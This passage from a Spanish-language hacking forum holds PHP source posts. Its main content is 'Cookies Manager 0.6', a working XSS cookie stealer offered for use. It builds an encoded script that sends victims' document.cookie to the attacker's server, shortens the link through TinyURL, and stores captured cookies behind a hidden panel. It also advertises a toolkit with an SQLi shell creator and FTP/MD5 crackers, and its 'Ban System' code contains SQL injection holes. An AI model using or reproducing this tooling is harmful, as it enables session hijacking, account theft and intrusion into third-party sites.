  3. // Ban System 0.3
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "admin.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  18.  
  19. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  20. <html xmlns="http://www.w3.org/1999/xhtml">
  21.   <head>
  22.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  23.      <title>Login</title>
  24.      <link rel="shortcut icon" href="images/icono.png">
  25.      <link href="style.css" rel="stylesheet" type="text/css" />
  26.   </head>
  27.   <body>
  28.      <center><br>
  29.         <div class="post">
  30.            <h3>Login</h3>
  31.            <div class="post_body">
  32.               <img src="images/login.jpg" width="562" height="440" />
  33.               <br />
  34.               <form action="" method=POST>
  35.                  Username : <input type=text size=30 name=username /><br
  36.  
  37. /><br />
  38.                  Password : <input type=password size=30 name=password
  39.  
  40. /><br /><br />
  41.                  <input type=submit name=login style="width: 100px;"
  42.  
  43. value=Login /><br /><br />
  44.               </form>
  45.            </div>
  46.         </div>
  47.      </center>
  48.   </body>
  49. </html>';
  50.  
  51.    if (isset($_POST['login'])) {
  52.  
  53.        $test_username = $_POST['username'];
  54.        $test_password = md5($_POST['password']);
  55.  
  56.        if ($test_username == $username && $test_password == $password) {
  57.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  58.            echo "<script>alert('Welcome idiot');</script>";
  59.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  60.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '"
  61.  
  62. />';
  63.        } else {
  64.            echo "<script>alert('Fuck You');</script>";
  65.        }
  66.    }
  67.  
  68. } else {
  69.    echo '<meta http-equiv="refresh" content="0;
  70.  
  71. url=http://www.petardas.com" />';
  72. }
  73.  
  74. // The End ?
  75.  
  76. ?>
  77.  

admin.php

Código
  1. <?php
  2.  
  3. // Ban System 0.3
  4. // (C) Doddy Hackman 2015
  5.  
  6.  
  7. // Login
  8.  
  9. $username = "admin"; // Edit
  10. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  11.  
  12. // DB
  13.  
  14. $host  = "localhost"; // Edit
  15. $userw = "root"; // Edit
  16. $passw = ""; // Edit
  17. $db    = "ban"; // Edit
  18.  
  19. if (isset($_COOKIE['login'])) {
  20.  
  21.    $st = base64_decode($_COOKIE['login']);
  22.  
  23.    $plit = explode("@", $st);
  24.    $user = $plit[0];
  25.    $pass = $plit[1];
  26.  
  27.    if ($user == $username and $pass == $password) {
  28.  
  29.        mysql_connect($host, $userw, $passw);
  30.        mysql_select_db($db);
  31.  
  32.        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  33. <html xmlns="http://www.w3.org/1999/xhtml">
  34.   <head>
  35.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  36.      <title>Ban System 0.3</title>
  37.      <link href="style.css" rel="stylesheet" type="text/css" />
  38.      <link rel="shortcut icon" href="images/icono.png">
  39.   </head>
  40.   <body>
  41.   <center>';
  42.  
  43.        mysql_connect($host, $userw, $passw);
  44.        mysql_select_db($db);
  45.  
  46.        echo '         <br><img src="images/ban.png" /><br><br>';
  47.  
  48.        if (isset($_POST['instalar'])) {
  49.  
  50.            $todo = "create table ban_system (
  51. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  52. ip TEXT NOT NULL,
  53. PRIMARY KEY(id));
  54. ";
  55.  
  56.            if (mysql_query($todo)) {
  57.                echo "<script>alert('Installed');</script>";
  58.                echo '<meta http-equiv="refresh" content=0;URL=>';
  59.            } else {
  60.                echo "<script>alert('Error');</script>";
  61.            }
  62.        }
  63.  
  64.        if (mysql_num_rows(mysql_query("show tables like 'ban_system'"))) {
  65.  
  66.            echo "<title>Ban System 0.3 Administracion</title>";
  67.  
  68.            if (isset($_POST['ipadd'])) {
  69.  
  70.                $ipfinal = ip2long($_POST['ipadd']);
  71.                $ipaz    = $_POST['ipadd'];
  72.  
  73.                if ($ipfinal == -1 || $ipfinal === FALSE) {
  74.                    echo "<script>alert('IP invalid');</script>";
  75.  
  76.                } else {
  77.  
  78.                    if (mysql_query("INSERT INTO ban_system (id,ip) values (NULL,'$ipaz')")) {
  79.                        echo "<script>alert('IP added');</script>";
  80.                    } else {
  81.                        echo "<script>alert('Error');</script>";
  82.                    }
  83.  
  84.  
  85.                }
  86.            }
  87.  
  88.            if (isset($_GET['del'])) {
  89.                $id = $_GET['del'];
  90.                if (@mysql_query("DELETE FROM ban_system where id ='$id'")) {
  91.                    echo "<script>alert('IP Deleted');</script>";
  92.                } else {
  93.                    echo "<script>alert('Error');</script>";
  94.                }
  95.            }
  96.  
  97.            echo '
  98.            <div class="post">
  99.                <h3>Add IP</h3>
  100.                   <div class="post_body">';
  101.  
  102.            echo "<br>
  103. <form action='' method=POST>
  104. <b>IP : </b><input type=text name=ipadd value=127.0.0.1> <input type=submit style='width: 100px;' value=Add>
  105. </form><br>";
  106.  
  107.            echo '                </div>
  108.            </div>';
  109.  
  110.  
  111.            $sql       = "select id from ban_system";
  112.            $resultado = mysql_query($sql);
  113.            $cantidad  = mysql_num_rows($resultado);
  114.  
  115.            echo '
  116.            <div class="post">
  117.                <h3>Banned : ' . htmlentities($cantidad) . '</h3>
  118.                   <div class="post_body"><br>';
  119.  
  120.            if ($cantidad <= 0) {
  121.                echo '<b>No entries found</b><br>';
  122.            } else {
  123.  
  124.                echo '<table>
  125. <td><b>ID</b></td><td><b>IP</b></td><td><b>Option</b></td><tr>';
  126.  
  127.                $sen = @mysql_query("select * from ban_system order by id ASC");
  128.  
  129.                while ($ab = @mysql_fetch_array($sen)) {
  130.  
  131.                    echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td><a href=?del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>";
  132.                }
  133.  
  134.                echo '</table>';
  135.  
  136.            }
  137.  
  138.            echo '                <br></div>
  139.            </div>';
  140.  
  141.            echo "</table>
  142. </center>
  143. ";
  144.            //
  145.        } else {
  146.  
  147.            echo '
  148.            <div class="post">
  149.                <h3>Installer</h3>
  150.                   <div class="post_body">';
  151.  
  152.            echo "
  153. <form action='' method=POST>
  154. <h2>Do you want install Ban System ?</h2><br>
  155. <input type=submit style='width: 100px;' name=instalar value=Install><br><br>
  156. </form>";
  157.  
  158.            echo '                </div>
  159.            </div>';
  160.  
  161.        }
  162.  
  163.        echo '
  164.   <br><h3>(C) Doddy Hackman 2015</h3><br>
  165.   </center>
  166.   </body>
  167. </html>';
  168.  
  169.        mysql_close();
  170.        exit(1);
  171.  
  172.    } else {
  173.        echo "<script>alert('Fuck You');</script>";
  174.    }
  175. } else {
  176.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  177. }
  178.  
  179. ?>
  180.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42.  
  43. word-wrap: break-word;
  44. word-break:break-all;
  45. }
  46.  
  47. input {
  48. border-style:solid;
  49. border-color: gray;
  50. border-width: 1px;
  51. background: black;
  52. border: solid #222 2px;
  53. color:gray;
  54. font-family:helvetica,arial,sans-serif;
  55. font-size:14px;
  56. }
  57.  
  58. .post {
  59. background-color:black;
  60. color:gray;
  61. margin-bottom:10px;
  62. width:600px;
  63. word-wrap: break-word;
  64. }
  65.  
  66. .post h3 {
  67. background-color:black;
  68. color:orange;
  69. background-color:#000;
  70. border: solid #222 2px;
  71. -webkit-border-radius: 4px;
  72. -moz-border-radius: 4px;
  73. border-radius: 4px;
  74. padding:5px 10px;
  75. }
  76.  
  77. .post_body {
  78. background-color:black;
  79. margin:-20px 0 0 0;
  80. color:white;
  81. background-color:#000;
  82. border: solid #222 2px;
  83. -webkit-border-radius: 4px;
  84. -moz-border-radius: 4px;
  85. border-radius: 4px;
  86. padding:5px 10px;
  87. }
  88.  
  89. /* The End ? */
  90.  

ban.php

Código
  1. <?php
  2.  
  3. // Ban System 0.3
  4. // (C) Doddy Hackman 2015
  5.  
  6.  
  7. // DB
  8.  
  9. $host  = "localhost"; // Edit
  10. $userw = "root"; // Edit
  11. $passw = ""; // Edit
  12. $db    = "ban"; // Edit
  13.  
  14. //
  15.  
  16. $texto = "Acceso Denegado"; // Edit
  17.  
  18. mysql_connect($host, $userw, $passw);
  19.  
  20. $ipa = ip2long($_SERVER['REMOTE_ADDR']);
  21. $ip  = $_SERVER['REMOTE_ADDR'];
  22.  
  23. if ($ip == "::1") {
  24.    $ipa = 1;
  25. }
  26.  
  27. if ($ipa == -1 || $ipa === FALSE) {
  28.    echo "<script>alert('Good try');</script>";
  29. } else {
  30.  
  31.    if ($ip == "::1") {
  32.        $ip = "127.0.0.1";
  33.    }
  34.    $re = mysql_query("select ip from ban_system where ip='$ip'");
  35.  
  36.    if (mysql_num_rows($re) > 0) {
  37.        echo "<center><h1>" . htmlentities($texto) . "</h1></center>";
  38.        exit(1);
  39.    }
  40.  
  41. }
  42.  
  43.  
  44. // The End ?
  45.  
  46. ?>
  47.  

test.php

Código
  1. <?php
  2.  
  3. include("ban.php");
  4.  
  5. echo "aca toy";
  6.  
  7. ?>
  8.  

Si quieren bajar el programa lo pueden hacer de aca.
37  Programación / Programación General / [Delphi] Project Arsenal X 0.2 (Regalo de navidad) en: 25 Diciembre 2015, 18:52 pm
Version en Delphi de este programa similar al juego HackTheGame pero con la unica diferencia de que todo es real xD , tiene las siguientes opciones :

  • Gmail Inbox
  • Ping
  • Get IP
  • K0bra (Scanner SQLI)
[++] Comprobar vulnerabilidad
[++] Buscar numero de columnas
[++] Buscar automaticamente el numero para mostrar datos
[++] Mostras tablas
[++] Mostrar columnas
[++] Mostrar bases de datos
[++] Mostrar tablas de otra DB
[++] Mostrar columnas de una tabla de otra DB
[++] Mostrar usuarios de mysql.user
[++] Buscar archivos usando load_file
[++] Mostrar un archivo usando load_file
[++] Mostrar valores
[++] Mostrar informacion sobre la DB
[++] Crear una shell usando outfile
[++] Todo se guarda en logs ordenados

  • Panel Control
  • FTP Cracker
  • Whois
  • Downloader
  • Locate IP
  • MD5 Cracker
  • Port Scanner
  • Bing Scanner
  • Console

Una imagen :



Un video con ejemplos de uso :



Para leer el correo necesitan tener instalado Win32OpenSSL para que el inbox les funcione , tambien necesitan habilitar la opcion de "Acceso de aplicaciones menos seguras" desde este link para la cuenta Gmail que van a usar.

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
38  Programación / PHP / [PHP] Cookies Manager 0.6 en: 18 Diciembre 2015, 21:41 pm
Hoy les traigo una version mejorada de este cookie stealer que les permite capturar,guardar y generar cookies para el robo de cookies usando XSS.

Tiene las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "imagen.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  18. <html xmlns="http://www.w3.org/1999/xhtml">
  19.   <head>
  20.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  21.      <title>Login</title>
  22.      <link rel="shortcut icon" href="images/icono.png">
  23.      <link href="style.css" rel="stylesheet" type="text/css" />
  24.   </head>
  25.   <body>
  26.      <center><br>
  27.         <div class="post">
  28.            <h3>Login</h3>
  29.            <div class="post_body">
  30.               <img src="images/login.jpg" width="562" height="440" />
  31.               <br />
  32.               <form action="" method=POST>
  33.                  Username : <input type=text size=30 name=username /><br /><br />
  34.                  Password : <input type=password size=30 name=password /><br /><br />
  35.                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
  36.               </form>
  37.            </div>
  38.         </div>
  39.      </center>
  40.   </body>
  41. </html>';
  42.  
  43.    if (isset($_POST['login'])) {
  44.  
  45.        $test_username = $_POST['username'];
  46.        $test_password = md5($_POST['password']);
  47.  
  48.        if ($test_username == $username && $test_password == $password) {
  49.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  50.            echo "<script>alert('Welcome idiot');</script>";
  51.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  52.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
  53.        } else {
  54.            echo "<script>alert('Fuck You');</script>";
  55.        }
  56.    }
  57.  
  58. } else {
  59.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  60. }
  61.  
  62. // The End ?
  63.  
  64. ?>
  65.  

imagen.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. // DB
  12.  
  13. $host  = "localhost"; // Edit
  14. $userw = "root"; // Edit
  15. $passw = ""; // Edit
  16. $db    = "cookies"; // Edit
  17.  
  18. // Functions
  19.  
  20. function hex_encode($text)
  21. {
  22.    $texto = chunk_split(bin2hex($text), 2, '%');
  23.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  24. }
  25.  
  26. function parsear_cookie($leyendo)
  27. {
  28.  
  29.    $leyendo   = str_replace("comment=", "", $leyendo);
  30.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  31.    $contenido = explode(";", $leyendo);
  32.  
  33.    $nombre       = "";
  34.    $valor_cookie = "";
  35.    $expires      = "";
  36.    $path         = "";
  37.    $domain       = "";
  38.    $secure       = "false";
  39.    $httponly     = "false";
  40.  
  41.    foreach ($contenido as $valor) {
  42.  
  43.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  44.            $expires = $regex[1];
  45.        }
  46.  
  47.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  48.            $path = $regex[1];
  49.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  50.            $domain = $regex[1];
  51.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  52.            $secure = $regex[1];
  53.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  54.            $httponly = $regex[1];
  55.        }
  56.  
  57.        else {
  58.  
  59.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  60.                $nombre       = $regex[1];
  61.                $valor_cookie = $regex[2];
  62.            }
  63.  
  64.        }
  65.  
  66.    }
  67.  
  68.    return array(
  69.        $nombre,
  70.        $valor_cookie,
  71.        $expires,
  72.        $path,
  73.        $domain,
  74.        $secure,
  75.        $httponly
  76.    );
  77.  
  78. }
  79.  
  80. function ver_cookies_de_pagina($pagina)
  81. {
  82.    $cookies = "";
  83.    if (!function_exists('curl_exec')) {
  84.        $options = array(
  85.            'http' => array(
  86.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  87.            )
  88.        );
  89.        $context = stream_context_create($options);
  90.        file_get_contents($pagina);
  91.        foreach ($http_response_header as $valores) {
  92.            if (preg_match("/Set-Cookie/", $valores)) {
  93.                $valores = str_replace("Set-Cookie:", "", $valores);
  94.                $cookies = $cookies . trim($valores) . "\n";
  95.            }
  96.        }
  97.    } else {
  98.        $nave = curl_init($pagina);
  99.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  100.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  101.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  102.        curl_setopt($nave, CURLOPT_HEADER, 1);
  103.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  104.        $contenido = curl_exec($nave);
  105.        curl_close($nave);
  106.        $leyendo = explode("\n", trim($contenido));
  107.  
  108.        foreach ($leyendo as $valores) {
  109.            if (preg_match("/Set-Cookie/", $valores)) {
  110.                $valores = str_replace("Set-Cookie:", "", $valores);
  111.                $cookies = $cookies . trim($valores) . "\n";
  112.            }
  113.        }
  114.    }
  115.    return $cookies;
  116. }
  117.  
  118. function toma($target)
  119. {
  120.    $code = "";
  121.    if (function_exists('curl_exec')) {
  122.        $nave = curl_init($target);
  123.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  124.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  125.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  126.        $code = curl_exec($nave);
  127.    } else {
  128.        $options = array(
  129.            'http' => array(
  130.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  131.            )
  132.        );
  133.        $context = stream_context_create($options);
  134.        $code    = file_get_contents($target);
  135.    }
  136.    return $code;
  137. }
  138.  
  139. //
  140.  
  141.  
  142. mysql_connect($host, $userw, $passw);
  143.  
  144. if (isset($_GET['id'])) {
  145.  
  146.    if (empty($_GET['id'])) {
  147.        error();
  148.    }
  149.  
  150.    $dia = mysql_real_escape_string(date("d.m.Y"));
  151.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  152.  
  153.    if ($ip == "::1") {
  154.        $ip = "127.0.0.1";
  155.    }
  156.  
  157.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  158.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  159.  
  160.    $cookie = mysql_real_escape_string($_GET['id']);
  161.  
  162.    mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  163.  
  164.    header("Location:http://www.google.com.ar");
  165.  
  166. }
  167.  
  168. elseif (isset($_COOKIE['login'])) {
  169.  
  170.    $st = base64_decode($_COOKIE['login']);
  171.  
  172.    $plit = explode("@", $st);
  173.    $user = $plit[0];
  174.    $pass = $plit[1];
  175.  
  176.    if ($user == $username and $pass == $password) {
  177.  
  178.        echo '
  179. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  180. <html xmlns="http://www.w3.org/1999/xhtml">
  181.   <head>
  182.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  183.      <title>Cookies Manager 0.6</title>
  184.      <link href="style.css" rel="stylesheet" type="text/css" />
  185.      <link rel="shortcut icon" href="images/icono.png">
  186.   </head>
  187.   <body>
  188.   <center>';
  189.  
  190.        echo '<br><img src="images/cookies.png" /><br>';
  191.  
  192.        if (isset($_POST['makecookies'])) {
  193.  
  194.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  195.                echo "<script>alert('Cookie maked');</script>";
  196.            } else {
  197.                echo "<script>alert('Error making Cookie');</script>";
  198.            }
  199.        }
  200.  
  201.        $edit_name       = "";
  202.        $edit_value      = "";
  203.        $edit_expire     = "";
  204.        $edit_path       = "";
  205.        $edit_domain     = "";
  206.        $edit_secure     = "";
  207.        $edit_httponline = "";
  208.  
  209.        if (isset($_POST['instalar'])) {
  210.  
  211.            $cookies_found = "create table cookies_found (
  212. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  213. fecha TEXT NOT NULL,
  214. ip TEXT NOT NULL,
  215. info TEXT NOT NULL,
  216. cookie TEXT NOT NULL,
  217. PRIMARY KEY (id));
  218. ";
  219.  
  220.            if (mysql_query($cookies_found)) {
  221.                echo "<script>alert('Installed');</script>";
  222.            } else {
  223.                echo "<script>alert('Error');</script>";
  224.            }
  225.        }
  226.  
  227.        if (mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
  228.  
  229.            //
  230.  
  231.            if (isset($_GET['del'])) {
  232.                if (is_numeric($_GET['del'])) {
  233.                    if (@mysql_query("delete from cookies_found where id='" . $_GET['del'] . "'")) {
  234.                        echo "<script>alert('Cookie deleted');</script>";
  235.                    } else {
  236.                        echo "<script>alert('Error');</script>";
  237.                    }
  238.                }
  239.            }
  240.  
  241.            // Cookies Found
  242.  
  243.  
  244.            $re  = mysql_query("select * from cookies_found order by id ASC");
  245.            $con = mysql_num_rows($re);
  246.            echo '
  247.            <div class="post">
  248.                <h3>Cookies Found : ' . $con . '</h3>
  249.                   <div class="post_body"><br>';
  250.  
  251.            if ($con <= 0) {
  252.                echo '<b>No cookies found</b><br>';
  253.            } else {
  254.  
  255.                echo '<table>';
  256.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  257.  
  258.                while ($ver = mysql_fetch_array($re)) {
  259.                    $cookies_view = $ver[4];
  260.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  261.  
  262.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  263.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  264.  
  265.                }
  266.                echo "</table>";
  267.  
  268.            }
  269.  
  270.            echo '               <br></div>
  271.            </div>';
  272.  
  273.            //
  274.  
  275.            // Form para target
  276.  
  277.            echo '
  278.            <div class="post">
  279.                <h3>Enter Target</h3>
  280.                   <div class="post_body"><br>';
  281.  
  282.            echo "
  283. <form action='' method=POST>
  284. <b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  285. <input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  286. </form>
  287.  
  288. ";
  289.  
  290.            echo '               <br></div>
  291.            </div>';
  292.  
  293.            // URLS
  294.  
  295.            if (isset($_POST['generateurl'])) {
  296.  
  297.                echo '
  298.            <div class="post">
  299.                <h3>Console</h3>
  300.                   <div class="post_body"><br>';
  301.  
  302.                echo "<textarea cols=50 name=code readonly>\n";
  303.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  304.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  305.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  306.                echo htmlentities($resultado_code);
  307.                echo "\n</textarea></table>";
  308.  
  309.                echo '               <br><br></div>
  310.            </div>';
  311.  
  312.            }
  313.            //
  314.  
  315.            // Get Cookies
  316.  
  317.            if (isset($_POST['getcookies'])) {
  318.  
  319.                echo '
  320.            <div class="post">
  321.                <h3>Console</h3>
  322.                   <div class="post_body"><br>';
  323.  
  324.                echo "<textarea cols=50 rows=10 name=code readonly>\n";
  325.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  326.                echo htmlentities($resultado_code);
  327.                echo "\n</textarea>";
  328.  
  329.                echo '               <br><br></div>
  330.            </div>';
  331.  
  332.                $leyendo_esto = split("\n", $resultado_code);
  333.  
  334.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  335.  
  336.                $edit_name       = $nombre;
  337.                $edit_value      = $valor_cookie;
  338.                $edit_expire     = $expires;
  339.                $edit_path       = $path;
  340.                $edit_domain     = $domain;
  341.                $edit_secure     = $secure;
  342.                $edit_httponline = $httponly;
  343.  
  344.            }
  345.  
  346.            //
  347.  
  348.            // Form para crear cookies
  349.  
  350.  
  351.            echo '
  352.            <div class="post">
  353.                <h3>Cookie Maker</h3>
  354.                   <div class="post_body"><br>';
  355.  
  356.            echo "
  357. <form action='' method=POST>
  358. <b>Name : </b><input type=text size=50 name=name_cookie value='$edit_name'><br><br>
  359. <b>Value : </b><input type=text size=50 name=value_cookie value='$edit_value'><br><br>
  360. <b>Expires : </b><input type=text size=50 name=expire_cookie value='$edit_expire'><br><br>
  361. <b>Path : </b><input type=text size=50 name=path_cookie value='$edit_path'><br><br>
  362. <b>Domain : </b><input type=text size=50 name=domain_cookie value='$edit_domain'><br><br>
  363. <b>Secure : </b><input type=text size=50 name=secure_cookie value='$edit_secure'><br><br>
  364. <b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='$edit_httponline'><br><br>
  365. <input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
  366. </form>";
  367.  
  368.            echo '                <br></div>
  369.            </div>';
  370.  
  371.        } else {
  372.  
  373.            echo '
  374.            <div class="post">
  375.                <h3>Installer</h3>
  376.                   <div class="post_body">';
  377.            echo "
  378. <form action='' method=POST>
  379. <h2>Do you want install Cookies Manager ?</h2><br>
  380. <input type=submit name=instalar value=Install>
  381. </form><br>";
  382.  
  383.            echo '                </div>
  384.            </div>';
  385.        }
  386.  
  387.        echo '  
  388.        <br><h3>(C) Doddy Hackman 2015</h3><br>
  389.        </center>
  390.        </body>
  391. </html>';
  392.  
  393.    } else {
  394.        echo "<script>alert('Fuck You');</script>";
  395.    }
  396. } else {
  397.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  398. }
  399.  
  400. // The End ?
  401.  
  402. ?>
  403.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42. }
  43.  
  44. textarea {
  45. font: normal 10px Verdana, Arial, Helvetica,sans-serif;
  46. background-color:black;
  47. color:gray;
  48. border: solid #222 2px;
  49. border-color:gray
  50. }
  51.  
  52. input {
  53. border-style:solid;
  54. border-color: gray;
  55. border-width: 1px;
  56. background: black;
  57. border: solid #222 2px;
  58. color:gray;
  59. font-family:helvetica,arial,sans-serif;
  60. font-size:14px;
  61. }
  62.  
  63. .post {
  64. background-color:black;
  65. color:gray;
  66. margin-bottom:10px;
  67. width:600px;
  68. word-wrap: break-word;
  69. }
  70.  
  71. .post h3 {
  72. background-color:black;
  73. color:orange;
  74. background-color:#000;
  75. border: solid #222 2px;
  76. -webkit-border-radius: 4px;
  77. -moz-border-radius: 4px;
  78. border-radius: 4px;
  79. padding:5px 10px;
  80. }
  81.  
  82. .post_body {
  83. background-color:black;
  84. margin:-20px 0 0 0;
  85. color:white;
  86. background-color:#000;
  87. border: solid #222 2px;
  88. -webkit-border-radius: 4px;
  89. -moz-border-radius: 4px;
  90. border-radius: 4px;
  91. padding:5px 10px;
  92. }
  93.  
  94. /* The End ? */
  95.  

Un video con ejemplo de usos :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
39  Programación / PHP / [PHP] DH Chat 0.5 en: 4 Diciembre 2015, 16:23 pm
Un simple chat que hice en PHP que tiene las siguientes opciones :

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras
  • Se pueden borrar comentarios desde el administrador

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
  3. // DH Chat 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
